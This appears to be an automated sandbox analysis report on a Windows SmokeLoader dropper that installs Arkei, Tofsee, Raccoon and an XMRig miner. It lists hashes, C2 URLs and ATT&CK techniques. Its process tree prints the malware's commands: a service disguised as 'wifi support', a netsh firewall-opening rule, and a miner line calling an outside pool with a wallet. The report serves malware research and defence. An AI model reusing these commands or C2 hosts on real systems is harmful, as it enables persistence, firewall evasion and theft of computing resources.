Analysis

  • max time kernel
    75s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    17-01-2022 09:46

General

  • Target

    94444f3a21c9bdd63821b3090b20d0a3.exe

  • Size

    277KB

  • MD5

    94444f3a21c9bdd63821b3090b20d0a3

  • SHA1

    a8b4599b3195d8b4e3229c45eaf79646063f55b4

  • SHA256

    c203af5c5674ad460335b24052192e84261128b48a6a8ab45b535b8fe2b85bc0

  • SHA512

    4c98239c18f2da8cd1956205dce6325f0e9f31f402fb59378f90eed0e4fb4153e54d7ca1abdc7b92528533cf201238253c5564f51e03c7f7394adbda67bda9db

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://host-data-coin-11.com/

http://file-coin-host-12.com/

http://srtuiyhuali.at/

http://fufuiloirtu.com/

http://amogohuigotuli.at/

http://novohudosovu.com/

http://brutuilionust.com/

http://bubushkalioua.com/

http://dumuilistrati.at/

http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family

arkei

Botnet

Default

C2

http://file-file-host4.com/tratata.php

Extracted

Family

tofsee

C2

patmushta.info

parubey.info

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\94444f3a21c9bdd63821b3090b20d0a3.exe
    "C:\Users\Admin\AppData\Local\Temp\94444f3a21c9bdd63821b3090b20d0a3.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Users\Admin\AppData\Local\Temp\94444f3a21c9bdd63821b3090b20d0a3.exe
      "C:\Users\Admin\AppData\Local\Temp\94444f3a21c9bdd63821b3090b20d0a3.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1108
  • C:\Users\Admin\AppData\Local\Temp\3BE8.exe
    C:\Users\Admin\AppData\Local\Temp\3BE8.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:516
  • C:\Users\Admin\AppData\Local\Temp\455F.exe
    C:\Users\Admin\AppData\Local\Temp\455F.exe
    1⤵
    • Executes dropped EXE
    PID:1244
  • C:\Users\Admin\AppData\Local\Temp\4B97.exe
    C:\Users\Admin\AppData\Local\Temp\4B97.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\olcyvuqd\
      2⤵
        PID:2000
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\givbibob.exe" C:\Windows\SysWOW64\olcyvuqd\
        2⤵
          PID:1836
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create olcyvuqd binPath= "C:\Windows\SysWOW64\olcyvuqd\givbibob.exe /d\"C:\Users\Admin\AppData\Local\Temp\4B97.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1208
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description olcyvuqd "wifi internet conection"
            2⤵
              PID:1680
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start olcyvuqd
              2⤵
                PID:1600
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1080
              • C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2036
                • C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                  C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                  2⤵
                  • Executes dropped EXE
                  PID:1416
              • C:\Windows\SysWOW64\olcyvuqd\givbibob.exe
                C:\Windows\SysWOW64\olcyvuqd\givbibob.exe /d"C:\Users\Admin\AppData\Local\Temp\4B97.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1744
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:1760
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1680
              • C:\Users\Admin\AppData\Local\Temp\B306.exe
                C:\Users\Admin\AppData\Local\Temp\B306.exe
                1⤵
                • Executes dropped EXE
                PID:1616
              • C:\Users\Admin\AppData\Local\Temp\C427.exe
                C:\Users\Admin\AppData\Local\Temp\C427.exe
                1⤵
                • Executes dropped EXE
                PID:1620
              • C:\Users\Admin\AppData\Local\Temp\E667.exe
                C:\Users\Admin\AppData\Local\Temp\E667.exe
                1⤵
                • Executes dropped EXE
                PID:1968
              • C:\Users\Admin\AppData\Local\Temp\F3C1.exe
                C:\Users\Admin\AppData\Local\Temp\F3C1.exe
                1⤵
                  PID:1940
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    #cmd
                    2⤵
                      PID:564
                  • C:\Users\Admin\AppData\Local\Temp\ADA.exe
                    C:\Users\Admin\AppData\Local\Temp\ADA.exe
                    1⤵
                      PID:624
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:1096
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:1128
                        • C:\Users\Admin\AppData\Local\Temp\4C5D.exe
                          C:\Users\Admin\AppData\Local\Temp\4C5D.exe
                          1⤵
                            PID:1504

                          Network

                          MITRE ATT&CK Matrix ATT&CK v6

                          Persistence

                          New Service

                          1
                          T1050

                          Modify Existing Service

                          1
                          T1031

                          Registry Run Keys / Startup Folder

                          1
                          T1060

                          Privilege Escalation

                          New Service

                          1
                          T1050

                          Defense Evasion

                          Disabling Security Tools

                          1
                          T1089

                          Modify Registry

                          2
                          T1112

                          Discovery

                          Query Registry

                          2
                          T1012

                          System Information Discovery

                          2
                          T1082

                          Peripheral Device Discovery

                          1
                          T1120

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • C:\Users\Admin\AppData\Local\Temp\3BE8.exe
                            MD5

                            277680bd3182eb0940bc356ff4712bef

                            SHA1

                            5995ae9d0247036cc6d3ea741e7504c913f1fb76

                            SHA256

                            f9f0aaf36f064cdfc25a12663ffa348eb6d923a153f08c7ca9052dcb184b3570

                            SHA512

                            0b777d45c50eae00ad050d3b2a78fa60eb78fe837696a6562007ed628719784655ba13edcbbee953f7eefade49599ee6d3d23e1c585114d7aecddda9ad1d0ecb

                          • C:\Users\Admin\AppData\Local\Temp\455F.exe
                            MD5

                            322662f080783dcbb75ccff43ca6543f

                            SHA1

                            b723935d7dc52d0b1513cf13fabeab7203db247a

                            SHA256

                            f8f3a30f2e20482b95fcb7424ede443d2b4dd31ce6b4bdee484d01c2af5000de

                            SHA512

                            5909f29955b6b77613312d1cadb5304341ab6844755a14dbd4bbd52e9bc1ffa70a0f9585198ff77ee7e577dca0e9bb473df4298e582abde5b60842c2232c9895

                          • C:\Users\Admin\AppData\Local\Temp\4B97.exe
                            MD5

                            d70994d5c78d22a8a493b1e690f95ccf

                            SHA1

                            29a0395a59b34795bbc16bfaded5588e89331b03

                            SHA256

                            d37e12034bed283116bb6efa7913eb98ee06d1e7ea673f0716c83c7dd081dade

                            SHA512

                            e897f008c15f720e0c324d988a49a89572f53d7090c61436cbbdf266120df4c8a2f9f3a0dd1d662ba9bae47760d0445f3cea89d280fd56f0014792808afae280

                          • C:\Users\Admin\AppData\Local\Temp\4B97.exe
                            MD5

                            d70994d5c78d22a8a493b1e690f95ccf

                            SHA1

                            29a0395a59b34795bbc16bfaded5588e89331b03

                            SHA256

                            d37e12034bed283116bb6efa7913eb98ee06d1e7ea673f0716c83c7dd081dade

                            SHA512

                            e897f008c15f720e0c324d988a49a89572f53d7090c61436cbbdf266120df4c8a2f9f3a0dd1d662ba9bae47760d0445f3cea89d280fd56f0014792808afae280

                          • C:\Users\Admin\AppData\Local\Temp\4C5D.exe
                            MD5

                            98fba37ca03a38b7ba3c626e3d207adf

                            SHA1

                            da80eec1e5d858fab59a4e8d1020a3e92c5815e7

                            SHA256

                            e8f42669c0fe940c44985bd393cd851df179fa0b09c655ec8cbb5a3c969045f1

                            SHA512

                            0bc8cdb0f06c2fb6486ea13cb322b6badcdaa286d4757e08672e5886982d6d5d082ad824207cf7093001744612259e5d3af6f4a9f4420c437cdae369218d247f

                          • C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                            MD5

                            29e5d8cbcf13639096bf1353b5f9f48b

                            SHA1

                            800629d06593b7fb232a2dfd08384c4349f37382

                            SHA256

                            ba587b88b891dfe4c810be48e336cdae9d474618d9d0a3a0637cd2349cc307e2

                            SHA512

                            3e394d30c9d50b2ab61b6d9f2942313ec6cee2a4fd873d977bcfe6e62ce05596b62d0993294311da381eb47ad040a41307b192761501a47c8995624288aa5354

                          • C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                            MD5

                            29e5d8cbcf13639096bf1353b5f9f48b

                            SHA1

                            800629d06593b7fb232a2dfd08384c4349f37382

                            SHA256

                            ba587b88b891dfe4c810be48e336cdae9d474618d9d0a3a0637cd2349cc307e2

                            SHA512

                            3e394d30c9d50b2ab61b6d9f2942313ec6cee2a4fd873d977bcfe6e62ce05596b62d0993294311da381eb47ad040a41307b192761501a47c8995624288aa5354

                          • C:\Users\Admin\AppData\Local\Temp\4FEB.exe
                            MD5

                            29e5d8cbcf13639096bf1353b5f9f48b

                            SHA1

                            800629d06593b7fb232a2dfd08384c4349f37382

                            SHA256

                            ba587b88b891dfe4c810be48e336cdae9d474618d9d0a3a0637cd2349cc307e2

                            SHA512

                            3e394d30c9d50b2ab61b6d9f2942313ec6cee2a4fd873d977bcfe6e62ce05596b62d0993294311da381eb47ad040a41307b192761501a47c8995624288aa5354

                          • C:\Users\Admin\AppData\Local\Temp\ADA.exe
                            MD5

                            84686efe720df5953067ee8a91e44d09

                            SHA1

                            328be6e7500cb8c1adeb05e0374b3050e309ab66

                            SHA256

                            bbab2a17d1541f97c6b3d1e2cff5120af8dd66ef9a81c8eede6976c69267ca44

                            SHA512

                            07dfb13669482316ef28fbeaecb84762bfc6bfa460a059cd290502bd13b42009469b33dd8b95a6e19a32aff79289cbde02f94671bf7e86a48704d3c353fa4a58

                          • C:\Users\Admin\AppData\Local\Temp\ADA.exe
                            MD5

                            84686efe720df5953067ee8a91e44d09

                            SHA1

                            328be6e7500cb8c1adeb05e0374b3050e309ab66

                            SHA256

                            bbab2a17d1541f97c6b3d1e2cff5120af8dd66ef9a81c8eede6976c69267ca44

                            SHA512

                            07dfb13669482316ef28fbeaecb84762bfc6bfa460a059cd290502bd13b42009469b33dd8b95a6e19a32aff79289cbde02f94671bf7e86a48704d3c353fa4a58

                          • C:\Users\Admin\AppData\Local\Temp\B306.exe
                            MD5

                            5828affd59476cc9ac97334a09e8ca50

                            SHA1

                            4c4e16afe85a1a9a19005c90d9e4787795bce071

                            SHA256

                            054a128d15144cae389f2c762127995ead7c100aa5c3e329ebb59ffda01a9cd3

                            SHA512

                            406f4e91b92dbd575b549fdc3b54fdfd1ea267ab2c9d03d35d66eaa56170231945fb6bef282d2d89b6045cba286a30a5aa6dbc5d5d0acfdee999c80ce54a3460

                          • C:\Users\Admin\AppData\Local\Temp\C427.exe
                            MD5

                            5828affd59476cc9ac97334a09e8ca50

                            SHA1

                            4c4e16afe85a1a9a19005c90d9e4787795bce071

                            SHA256

                            054a128d15144cae389f2c762127995ead7c100aa5c3e329ebb59ffda01a9cd3

                            SHA512

                            406f4e91b92dbd575b549fdc3b54fdfd1ea267ab2c9d03d35d66eaa56170231945fb6bef282d2d89b6045cba286a30a5aa6dbc5d5d0acfdee999c80ce54a3460

                          • C:\Users\Admin\AppData\Local\Temp\E667.exe
                            MD5

                            3e2d58eea5229cc906edfdcd51b9f8d3

                            SHA1

                            9e52615d7afa8a42985405ed7fc3d8cebcb03eca

                            SHA256

                            2a9fa4005ce31589ed7958a77f0609f6c9f1189279e2cc455767da58a5ffa0b7

                            SHA512

                            9882d2f16bcbb3195fc427b1d07da650489f21c4bb275404ffc37586ff1ba0b9fdb22a64b414a7e9fc0bea4255238e4d08c77e3a39ebac5f2dffdc16c7d331f9

                          • C:\Users\Admin\AppData\Local\Temp\F3C1.exe
                            MD5

                            c78dcd74aa65d4dc7817955939994f85

                            SHA1

                            701e70e529d08476b8a95d02cc523d11907d5c11

                            SHA256

                            51bf6f85f3b33274ffc856215f5e50810a549be4c1a8b765e1189ef6e9f5ec80

                            SHA512

                            38dcf9c946604f1642d734d64e8528ac885a6a69b771c7e284cdf68588e0805a09e059e892a31bc2af6f6ac815a5e579f84b0cd7c2850e4379f9155acfed6f5d

                          • C:\Users\Admin\AppData\Local\Temp\F3C1.exe
                            MD5

                            c78dcd74aa65d4dc7817955939994f85

                            SHA1

                            701e70e529d08476b8a95d02cc523d11907d5c11

                            SHA256

                            51bf6f85f3b33274ffc856215f5e50810a549be4c1a8b765e1189ef6e9f5ec80

                            SHA512

                            38dcf9c946604f1642d734d64e8528ac885a6a69b771c7e284cdf68588e0805a09e059e892a31bc2af6f6ac815a5e579f84b0cd7c2850e4379f9155acfed6f5d

                          • C:\Users\Admin\AppData\Local\Temp\givbibob.exe
                            MD5

                            640e2d4f7bfd711a4f2b45c5d1a5d07b

                            SHA1

                            42ab738dd8771ff212c3cc662a810849120e15a0

                            SHA256

                            3279ee1a62dc2f0b35835816572e35e928f304afc83f48ae069cffc77587beb7

                            SHA512

                            d2a3b8cd158ba892bb3247a5c027c616f656e768888d2fa631de5ca6e64309d086f7c8a52eccc5082b2360c300d113c07d9f7660b9ef485193b2d7bd61f10c37

                          • C:\Windows\SysWOW64\olcyvuqd\givbibob.exe
                            MD5

                            640e2d4f7bfd711a4f2b45c5d1a5d07b

                            SHA1

                            42ab738dd8771ff212c3cc662a810849120e15a0

                            SHA256

                            3279ee1a62dc2f0b35835816572e35e928f304afc83f48ae069cffc77587beb7

                            SHA512

                            d2a3b8cd158ba892bb3247a5c027c616f656e768888d2fa631de5ca6e64309d086f7c8a52eccc5082b2360c300d113c07d9f7660b9ef485193b2d7bd61f10c37

                          • \Users\Admin\AppData\Local\Temp\4C5D.exe
                            MD5

                            98fba37ca03a38b7ba3c626e3d207adf

                            SHA1

                            da80eec1e5d858fab59a4e8d1020a3e92c5815e7

                            SHA256

                            e8f42669c0fe940c44985bd393cd851df179fa0b09c655ec8cbb5a3c969045f1

                            SHA512

                            0bc8cdb0f06c2fb6486ea13cb322b6badcdaa286d4757e08672e5886982d6d5d082ad824207cf7093001744612259e5d3af6f4a9f4420c437cdae369218d247f

                          • \Users\Admin\AppData\Local\Temp\4FEB.exe
                            MD5

                            29e5d8cbcf13639096bf1353b5f9f48b

                            SHA1

                            800629d06593b7fb232a2dfd08384c4349f37382

                            SHA256

                            ba587b88b891dfe4c810be48e336cdae9d474618d9d0a3a0637cd2349cc307e2

                            SHA512

                            3e394d30c9d50b2ab61b6d9f2942313ec6cee2a4fd873d977bcfe6e62ce05596b62d0993294311da381eb47ad040a41307b192761501a47c8995624288aa5354

                          • memory/516-61-0x0000000000000000-mapping.dmp
                          • memory/516-110-0x0000000000400000-0x0000000000452000-memory.dmp
                            Filesize

                            328KB

                          • memory/516-108-0x0000000000220000-0x0000000000229000-memory.dmp
                            Filesize

                            36KB

                          • memory/516-109-0x00000000002B0000-0x00000000002B9000-memory.dmp
                            Filesize

                            36KB

                          • memory/564-176-0x0000000000400000-0x000000000046C000-memory.dmp
                            Filesize

                            432KB

                          • memory/564-177-0x0000000000400000-0x000000000046C000-memory.dmp
                            Filesize

                            432KB

                          • memory/564-180-0x0000000000400000-0x000000000046C000-memory.dmp
                            Filesize

                            432KB

                          • memory/564-181-0x0000000000400000-0x000000000046C000-memory.dmp
                            Filesize

                            432KB

                          • memory/564-182-0x0000000004D50000-0x0000000004D51000-memory.dmp
                            Filesize

                            4KB

                          • memory/564-178-0x000000000046650E-mapping.dmp
                          • memory/564-173-0x0000000000400000-0x000000000046C000-memory.dmp
                            Filesize

                            432KB

                          • memory/564-174-0x0000000000400000-0x000000000046C000-memory.dmp
                            Filesize

                            432KB

                          • memory/564-175-0x0000000000400000-0x000000000046C000-memory.dmp
                            Filesize

                            432KB

                          • memory/624-141-0x00000000749B0000-0x00000000749FA000-memory.dmp
                            Filesize

                            296KB

                          • memory/624-166-0x0000000000C20000-0x0000000000C21000-memory.dmp
                            Filesize

                            4KB

                          • memory/624-151-0x0000000074D30000-0x0000000074D77000-memory.dmp
                            Filesize

                            284KB

                          • memory/624-154-0x0000000074BD0000-0x0000000074D2C000-memory.dmp
                            Filesize

                            1.4MB

                          • memory/624-160-0x00000000012E0000-0x0000000001504000-memory.dmp
                            Filesize

                            2.1MB

                          • memory/624-145-0x0000000000090000-0x00000000000D4000-memory.dmp
                            Filesize

                            272KB

                          • memory/624-148-0x0000000076780000-0x000000007682C000-memory.dmp
                            Filesize

                            688KB

                          • memory/624-161-0x00000000012E0000-0x0000000001504000-memory.dmp
                            Filesize

                            2.1MB

                          • memory/624-143-0x00000000012E0000-0x0000000001504000-memory.dmp
                            Filesize

                            2.1MB

                          • memory/624-162-0x00000000766C0000-0x000000007674F000-memory.dmp
                            Filesize

                            572KB

                          • memory/624-164-0x0000000074720000-0x00000000747A0000-memory.dmp
                            Filesize

                            512KB

                          • memory/624-137-0x0000000000000000-mapping.dmp
                          • memory/624-152-0x0000000076660000-0x00000000766B7000-memory.dmp
                            Filesize

                            348KB

                          • memory/624-144-0x0000000000190000-0x0000000000191000-memory.dmp
                            Filesize

                            4KB

                          • memory/720-70-0x000000000070B000-0x000000000071C000-memory.dmp
                            Filesize

                            68KB

                          • memory/720-78-0x0000000000400000-0x00000000005CF000-memory.dmp
                            Filesize

                            1.8MB

                          • memory/720-77-0x0000000000220000-0x0000000000233000-memory.dmp
                            Filesize

                            76KB

                          • memory/720-68-0x0000000000000000-mapping.dmp
                          • memory/1080-86-0x0000000000000000-mapping.dmp
                          • memory/1096-163-0x00000000712D1000-0x00000000712D3000-memory.dmp
                            Filesize

                            8KB

                          • memory/1096-168-0x00000000000E0000-0x000000000014B000-memory.dmp
                            Filesize

                            428KB

                          • memory/1096-167-0x0000000000200000-0x0000000000274000-memory.dmp
                            Filesize

                            464KB

                          • memory/1096-155-0x0000000000000000-mapping.dmp
                          • memory/1108-59-0x0000000075421000-0x0000000075423000-memory.dmp
                            Filesize

                            8KB

                          • memory/1108-58-0x0000000000402F47-mapping.dmp
                          • memory/1108-57-0x0000000000400000-0x0000000000409000-memory.dmp
                            Filesize

                            36KB

                          • memory/1128-159-0x00000000000E0000-0x00000000000EC000-memory.dmp
                            Filesize

                            48KB

                          • memory/1128-157-0x0000000000000000-mapping.dmp
                          • memory/1128-56-0x0000000000220000-0x0000000000229000-memory.dmp
                            Filesize

                            36KB

                          • memory/1128-55-0x00000000007BB000-0x00000000007CC000-memory.dmp
                            Filesize

                            68KB

                          • memory/1128-158-0x00000000000F0000-0x00000000000F7000-memory.dmp
                            Filesize

                            28KB

                          • memory/1208-83-0x0000000000000000-mapping.dmp
                          • memory/1244-63-0x0000000000000000-mapping.dmp
                          • memory/1244-65-0x000000000068B000-0x000000000069C000-memory.dmp
                            Filesize

                            68KB

                          • memory/1244-67-0x0000000000400000-0x00000000005D0000-memory.dmp
                            Filesize

                            1.8MB

                          • memory/1244-66-0x0000000000230000-0x000000000024C000-memory.dmp
                            Filesize

                            112KB

                          • memory/1416-103-0x0000000000400000-0x0000000000420000-memory.dmp
                            Filesize

                            128KB

                          • memory/1416-105-0x0000000000419192-mapping.dmp
                          • memory/1416-104-0x0000000000400000-0x0000000000420000-memory.dmp
                            Filesize

                            128KB

                          • memory/1416-102-0x0000000000400000-0x0000000000420000-memory.dmp
                            Filesize

                            128KB

                          • memory/1416-101-0x0000000000400000-0x0000000000420000-memory.dmp
                            Filesize

                            128KB

                          • memory/1416-100-0x0000000000400000-0x0000000000420000-memory.dmp
                            Filesize

                            128KB

                          • memory/1420-60-0x00000000029F0000-0x0000000002A06000-memory.dmp
                            Filesize

                            88KB

                          • memory/1420-111-0x00000000048F0000-0x0000000004906000-memory.dmp
                            Filesize

                            88KB

                          • memory/1504-183-0x000000013F1D0000-0x000000013FAFE000-memory.dmp
                            Filesize

                            9.2MB

                          • memory/1504-184-0x000000013F1D0000-0x000000013FAFE000-memory.dmp
                            Filesize

                            9.2MB

                          • memory/1504-170-0x0000000000000000-mapping.dmp
                          • memory/1600-85-0x0000000000000000-mapping.dmp
                          • memory/1616-123-0x0000000000400000-0x0000000002BC5000-memory.dmp
                            Filesize

                            39.8MB

                          • memory/1616-185-0x0000000000400000-0x0000000002BC5000-memory.dmp
                            Filesize

                            39.8MB

                          • memory/1616-142-0x0000000000400000-0x0000000002BC5000-memory.dmp
                            Filesize

                            39.8MB

                          • memory/1616-147-0x0000000002BD0000-0x0000000002C38000-memory.dmp
                            Filesize

                            416KB

                          • memory/1616-186-0x0000000000360000-0x00000000003AF000-memory.dmp
                            Filesize

                            316KB

                          • memory/1616-119-0x0000000000000000-mapping.dmp
                          • memory/1616-150-0x0000000000400000-0x0000000002BC5000-memory.dmp
                            Filesize

                            39.8MB

                          • memory/1616-187-0x00000000045C0000-0x0000000004651000-memory.dmp
                            Filesize

                            580KB

                          • memory/1616-121-0x00000000002E0000-0x0000000000360000-memory.dmp
                            Filesize

                            512KB

                          • memory/1616-149-0x0000000004520000-0x00000000045B2000-memory.dmp
                            Filesize

                            584KB

                          • memory/1616-122-0x0000000004470000-0x0000000004515000-memory.dmp
                            Filesize

                            660KB

                          • memory/1620-124-0x0000000000000000-mapping.dmp
                          • memory/1620-172-0x0000000000400000-0x0000000002BC5000-memory.dmp
                            Filesize

                            39.8MB

                          • memory/1620-126-0x0000000004390000-0x0000000004410000-memory.dmp
                            Filesize

                            512KB

                          • memory/1620-191-0x0000000000400000-0x0000000002BC5000-memory.dmp
                            Filesize

                            39.8MB

                          • memory/1620-189-0x0000000000400000-0x0000000002BC5000-memory.dmp
                            Filesize

                            39.8MB

                          • memory/1680-84-0x0000000000000000-mapping.dmp
                          • memory/1680-113-0x0000000000270000-0x0000000000361000-memory.dmp
                            Filesize

                            964KB

                          • memory/1680-112-0x0000000000270000-0x0000000000361000-memory.dmp
                            Filesize

                            964KB

                          • memory/1680-117-0x000000000030259C-mapping.dmp
                          • memory/1744-90-0x000000000075B000-0x000000000076B000-memory.dmp
                            Filesize

                            64KB

                          • memory/1744-96-0x0000000000400000-0x00000000005CF000-memory.dmp
                            Filesize

                            1.8MB

                          • memory/1760-92-0x00000000000C0000-0x00000000000D5000-memory.dmp
                            Filesize

                            84KB

                          • memory/1760-94-0x00000000000C9A6B-mapping.dmp
                          • memory/1760-93-0x00000000000C0000-0x00000000000D5000-memory.dmp
                            Filesize

                            84KB

                          • memory/1836-81-0x0000000000000000-mapping.dmp
                          • memory/1940-130-0x0000000000000000-mapping.dmp
                          • memory/1940-136-0x00000000006D0000-0x00000000006D1000-memory.dmp
                            Filesize

                            4KB

                          • memory/1940-134-0x0000000000E90000-0x0000000000FBA000-memory.dmp
                            Filesize

                            1.2MB

                          • memory/1940-133-0x0000000000E90000-0x0000000000FBA000-memory.dmp
                            Filesize

                            1.2MB

                          • memory/1968-127-0x0000000000000000-mapping.dmp
                          • memory/1968-129-0x0000000000290000-0x00000000002F0000-memory.dmp
                            Filesize

                            384KB

                          • memory/2000-76-0x0000000000000000-mapping.dmp
                          • memory/2036-73-0x0000000000000000-mapping.dmp
                          • memory/2036-79-0x0000000000F90000-0x000000000101A000-memory.dmp
                            Filesize

                            552KB

                          • memory/2036-80-0x0000000000F90000-0x000000000101A000-memory.dmp
                            Filesize

                            552KB

                          • memory/2036-88-0x0000000004D80000-0x0000000004D81000-memory.dmp
                            Filesize

                            4KB

                          • memory/2036-89-0x0000000000480000-0x0000000000481000-memory.dmp
                            Filesize

                            4KB